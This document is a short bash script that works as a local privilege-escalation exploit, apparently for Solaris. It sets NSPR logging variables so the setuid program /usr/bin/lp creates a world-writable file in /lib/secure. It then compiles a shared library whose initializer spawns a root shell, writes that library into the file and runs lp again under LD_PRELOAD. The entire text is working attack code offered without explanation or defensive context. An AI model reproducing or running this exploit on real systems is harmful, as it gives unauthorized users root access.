#!/bin/bash

LIB="/lib/secure/nspr_dupa_lib.so"
SUID="/usr/bin/lp"

LD="/usr/ccs/bin/ld"
CC="/usr/local/bin/gcc"

export NSPR_LOG_MODULES="dupa"
export NSPR_LOG_FILE=$LIB

umask 000

$SUID 1>&2 2>/dev/null

if [ ! -w $LIB ]; then
        exit
fi

cat > lib.c << _EOF
#include <unistd.h>

void _init(void)
        {
        if (geteuid()==0)
                {
                setuid(0);
                unsetenv("LD_PRELOAD");
                execl("/bin/sh","sh",0);
                exit(0);
                }
        }
_EOF

if [ ! -f "lib.c" ]; then
        exit
fi

$CC -o lib.o -c lib.c 1>&2 2>/dev/null
if [ ! -f "lib.o" ]; then
        exit
fi

$LD -G -o lib.so lib.o 1>&2 2>/dev/null

if [ ! -f "lib.so" ]; then
        exit
fi

cat lib.so > $LIB
rm -f lib.o lib.so lib.c
export LD_PRELOAD=$LIB
sleep 1
$SUID


